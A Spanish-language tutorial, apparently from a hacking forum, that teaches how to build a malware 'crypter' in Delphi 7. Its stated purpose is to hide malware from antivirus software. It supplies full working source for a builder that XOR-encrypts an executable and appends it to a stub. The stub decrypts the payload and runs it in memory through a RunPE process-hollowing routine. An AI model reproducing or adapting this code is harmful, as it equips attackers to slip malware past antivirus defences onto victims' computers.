[Lenguaje] : Delphi
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos
-- =================--------
0x01 : Introduccion
Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.
Empecemos ...
0x02 : Creacion del Builder
Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :
Despues agregamos los siguientes elementos al formulario :
* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)
El Edit contendra la ruta del archivo a encriptar , el primer boton sera para buscar el archivo , el segundo boton para encriptar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.
Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"
Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".
El formulario les deberia quedar asi :
Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
// del archivo a encriptar
begin
Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
// la ruta del archivo marcado en el openDialog1
end;
end;
Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo : procedure TForm1.Button2Click(Sender: TObject);
var
codigo: string; // Declaramos la variable "codigo" como string
key: integer; // Declaramos la variable "key" como integer
separador: string; // Declaramos la variable "separador" como string
linea: string; // Declaramos la variable "linea" como string
begin
separador := '-barra-';
// Establecemos el valor que tendra la variable "separador"
key := 123; // Establecemos el valor de la variable "key" como 123
codigo := xor_now(leer_archivo(Edit1.Text), key);
// Leemos el archivo que hay en
// la caja de texto y encriptamos con XOR el contenido usando una key
CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
// Copiamos el stub.exe con el nombre de done.exe
linea := separador + codigo + separador + IntToStr(key) + separador;
// Establecemos
// la variable "linea" con el valor de contenido del archivo encriptado con
// XOR y la key del cifrado XOR
escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
// los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
// tambien ponemos el valor de la variable "linea"
ShowMessage('Done');
end;
El codigo les deberia quedar algo asi :Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :
Una vez creada pongan el siguiente codigo :
// Unit : Tools for Crypter
// Coded By Doddy Hackman in the year 2015
// Credits : Based on OP Crypter By Xash
// Thanks to Xash
unit tools;
interface
uses SysUtils, Windows;
function leer_datos(archivo, delimitador1, delimitador2: string): string;
function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
function leer_archivo(archivo_a_leer: String): AnsiString;
function xor_now(texto: string; clave: integer): string;
implementation
function xor_now(texto: string; clave: integer): string;
var
numero: integer; // Establecemos la variable "numero" como integer
contenido: string; // Establecemos la variable "contenido" como string
begin
contenido := ''; // Vaciamos el contenido de la variable "contenido"
for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
// la longitud de la variable "texto"
begin
contenido := contenido + Char(integer(texto[numero]) xor clave);
// Encriptamos los datos
// con XOR
end;
Result := contenido; // Devolvemos el resultado de la funcion como el valor
// de la variable "contenido"
end;
function leer_archivo(archivo_a_leer: String): AnsiString;
var
archivo: File; // Declaramos la variable "archivo" como File
tipo: Byte; // Declaramos la variable "tipo" como Byte
begin
tipo := FileMode; // Establecemos el FileMode para abrir el archivo
try
FileMode := 0; // Establecemos como "0" el FileMode
AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
{$I-}
Reset(archivo, 1); // Leemos el archivo desde la primera linea
{$I+}
if IoResult = 0 then // Si IoResult es 0 ...
try
SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
// variable "Result" como la longitud del archivo
if Length(Result) > 0 then
// Si la longitud del resultado es mayor a 0 ...
begin
{$I-}
BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
{$I+}
if IoResult <> 0 then // Si es distinto a 0 ..
Result := '';
end;
finally
CloseFile(archivo); // Cerramos el archivo
end;
finally
FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
end;
end;
function leer_datos(archivo, delimitador1, delimitador2: string): string;
var
contenido: string; // Declaramos la variable "contenido" como string
limite: integer; // Declaramos la variable "limite" como integer
dividiendo: integer; // Declaramos la variable "dividiendo" como integer
dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
control1: integer; // Declaramos la variable "control1" como integer
control2: integer; // Declaramos la variable "control2" como integer
suma: integer; // Declaramos la variable "suma" como integer
numero: integer; // Declaramos la variable "numero" como integer
suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
resultado: string; // Declaramos la variable "resultado" como string
contenido_final: string;
// Declaramos la variable "contenido_final" como string
begin
if (FileExists(archivo)) then // Si existe el archivo ...
begin
contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
// en la variable "contenido"
suma_inicial_1 := Length(delimitador1);
// Calculamos la longitud de la variable
// "delimitador1"
suma_inicial_2 := Length(contenido);
// Calculamos la longitud de la variable
// "contenido"
suma := Pos(delimitador1, contenido) + suma_inicial_1;
// Calculamos la posicion del
// "delimitador" en la variable "contenido"
dividiendo := suma_inicial_2 - suma;
// Restamos las variables "suma_inicial_2"
// y "suma"
dividiendo2 := suma_inicial_2 - dividiendo;
// Restamos las variables "suma_inicial_2"
// y "dividiendo"
contenido := Copy(contenido, dividiendo2, suma_inicial_2);
// Copiamos las variables y las guardmamos en "contenido"
suma_casi_1 := Pos(delimitador1, contenido);
// Calculamos la posicion de "delimitador1"
// en la variable "contenido"
suma_casi_2 := suma_casi_1 + suma_inicial_1;
// Sumamos las variables "suma_casi_1"
// y "suma_inicial_1"
control1 := Pos(delimitador2, contenido) - suma_casi_2;
// Calculamos la posicion
// de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"
control2 := control1 - 1; // Restamos en uno la variable "control1"
for numero := 0 to control2 do
// Realizamos un for usando desde 0 hasta el valor
// de la variable "control2"
begin
dividiendo3 := suma_inicial_1 + numero;
// Sumamos la variables varibles "suma_inicial_1"
// y "numero"
dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
// Calculamos la posicion de "delimitador1" en la variable
// "contenido"
contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
// en la variable "dividiendo4" para acceder a cierta posicion de la variable
// "contenido"
resultado := resultado + contenido_final;
// Sumamos las variables "resultado" y
// "contenido_final"
end;
if resultado = '' then // Si la variable "resultado" esta vacia ...
begin
resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
end
else
begin
Result := resultado; // De lo contrario mostramos el contenido de la
// variable "resultado" en resultado de la funcion
end;
end
else
begin
Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
// la funcion
end;
end;
function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
var
abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
// TextFile
begin
if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
begin
AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
// "ruta"
Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
// "abriendo_archivo"
try
begin
WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
// Escribimos los datos
// de las variables "delimitador1,"texto","delimitador2"
end
finally
begin
CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
// "abriendo_archivo"
end;
Result := True; // Devolvemos "True" como resultado de la funcion
end;
end
else
begin
Result := False; // De lo contrario devolvemos "False" como resultado de la
// funcion
end;
end;
end.
// The End ?
Y para terminar la Unit guardenla con el nombre de "tools".Les deberia quedar algo asi :
Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,tools;
Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.0x03 : Creacion del Stub
Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :
Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :
Una vez creado ponemos el siguiente codigo :
{ uExecFromMem
Author: steve10120
Description: Run an executable from another's memory.
Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
Reference: http://www.security.org.sg/code/loadexe.html
Release Date: 26th August 2009
Website: http://ic0de.org
History: First try
Additions by testest 15th July 2010:
- Parameter support
- Win7 x64 support
}
unit uExecFromMem;
interface
uses Windows;
function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;
implementation
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
type
PImageBaseRelocation = ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: DWORD;
SizeOfBlock: DWORD;
end;
procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
l_i: Cardinal;
l_codebase: Pointer;
l_relocation: PImageBaseRelocation;
l_dest: Pointer;
l_relInfo: ^Word;
l_patchAddrHL: ^DWord;
l_type, l_offset: integer;
begin
l_codebase := f_module;
if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
begin
l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
while l_relocation.VirtualAddress > 0 do
begin
l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
l_relInfo := Pointer(Cardinal(l_relocation) + 8);
for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
begin
l_type := (l_relInfo^ shr 12);
l_offset := l_relInfo^ and $FFF;
if l_type = 3 then
begin
l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
end;
inc(l_relInfo);
end;
l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
end;
end;
end;
function AlignImage(pImage:Pointer):Pointer;
var
IDH: PImageDosHeader;
INH: PImageNtHeaders;
ISH: PImageSectionHeader;
i: WORD;
begin
IDH := pImage;
INH := Pointer(Integer(pImage) + IDH^._lfanew);
GetMem(Result, INH^.OptionalHeader.SizeOfImage);
ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
begin
ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
end;
end;
function Get4ByteAlignedContext(var Base: PContext): PContext;
begin
Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
Result := Base;
if Base <> nil then
while ((DWORD(Result) mod 4) <> 0) do
Result := Pointer(DWORD(Result) + 1);
end;
function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
var
PI: TProcessInformation;
SI: TStartupInfo;
CT: PContext;
CTBase: PContext;
IDH: PImageDosHeader;
INH: PImageNtHeaders;
dwImageBase: DWORD;
pModule: Pointer;
dwNull: DWORD;
begin
if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;
Result := 0;
IDH := pFile;
if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
begin
INH := Pointer(Integer(pFile) + IDH^._lfanew);
if INH^.Signature = IMAGE_NT_SIGNATURE then
begin
FillChar(SI, SizeOf(TStartupInfo), #0);
FillChar(PI, SizeOf(TProcessInformation), #0);
SI.cb := SizeOf(TStartupInfo);
if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
begin
CT := Get4ByteAlignedContext(CTBase);
if CT <> nil then
begin
CT.ContextFlags := CONTEXT_FULL;
if GetThreadContext(PI.hThread, CT^) then
begin
ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
if dwImageBase = INH^.OptionalHeader.ImageBase then
begin
if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
else
pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
end
else
pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if pModule <> nil then
begin
pFile := AlignImage(pFile);
if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
begin
PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
INH^.OptionalHeader.ImageBase := DWORD(pModule);
CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
end;
WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, CT^);
ResumeThread(PI.hThread);
Result := PI.hThread;
end;
end;
VirtualFree(CTBase, 0, MEM_RELEASE);
end;
if Result = 0 then
TerminateProcess(PI.hProcess, 0);
end;
end;
end;
end;
end.
Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi : Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :
uses
SysUtils, StrUtils, Windows, uExecFromMem, tools;
Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.
El codigo :
type
otro_array = array of string;
// Declaramos el tipo "otro_array" como array of string
Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.El codigo :
procedure regex2(texto: string; separador: string; var resultado: otro_array);
// Thanks to ecfisa for the help
var
numero1: integer; // Declaramos la variable "numero1" como integer
numero2: integer; // Declaramos la variable "numero2" como integer
begin
texto := texto + separador; // Concatenamos la variable "texto" y "separador"
numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
// la variable "texto"
numero1 := 1; // Establecemos la variable "numero1" como "1"
while numero1 <= numero2 do
// Mientras "numero1" sea menor o igual a "numero2" ...
begin
SetLength(resultado, Length(resultado) + 1);
// Establecemos la longitud de resultado
// a la longitud de la variable "resultado" mas "1"
resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
// Establecemos la variable "resultado" como la copia de las variables "texto",
// "numero1" y la resta de las variables "numero2" y "numero1"
numero1 := numero2 + Length(separador);
// Establecemos la variable "numero1" como
// la suma de la variable "numero2" y la longitud de ña variable "separador"
numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
// "separador" en el variable "texto"
end;
end;
Ahora agregamos el siguiente codigo entre el begin principal.El codigo :
var
todo: string; // Declaramos la variable "todo" como string
codigo: string; // Declaramos la variable "codigo" como string
key: string; // Declaramos la variable "key" como string
datos: otro_array; // Declaramos la variable "datos" como otro_array
begin
todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
// del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"
regex2(todo, '-barra-', datos);
// Separamos los delimitadores que estan separados
// por "-barra-" en la variable "todo"
key := datos[2];
// Establecemos como "key" la segunda posicion del array "datos"
codigo := datos[1];
// Establecemos como "codigo" la primera posicion del array
// "datos"
codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
// la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
// guardamos en la variable "codigo"
ExecuteFromMem(paramstr(0), '', Pchar(codigo));
// Ejecutamos el codig en memoria
// usando la funcion "ExecuteFromMem"
end.
Una imagen de como deberia quedarles el codigo : Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.
0x04 : Probando el Crypter
Para probar el Crypter vamos a probarlo con una copia del programa mismo para encriptar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa encriptado , simplemente lo abrimos y veremos el builder encriptado.
Unas imagenes :
Con ven el Crypter funciona correctamente.
0x05 : Creditos
[Enlace externo eliminado para invitados].
[Enlace externo eliminado para invitados].
Eso seria todo.
--========--
The End ?
--========--
[Enlace externo eliminado para invitados].
Version en VideoTutorial :
[Enlace externo eliminado para invitados]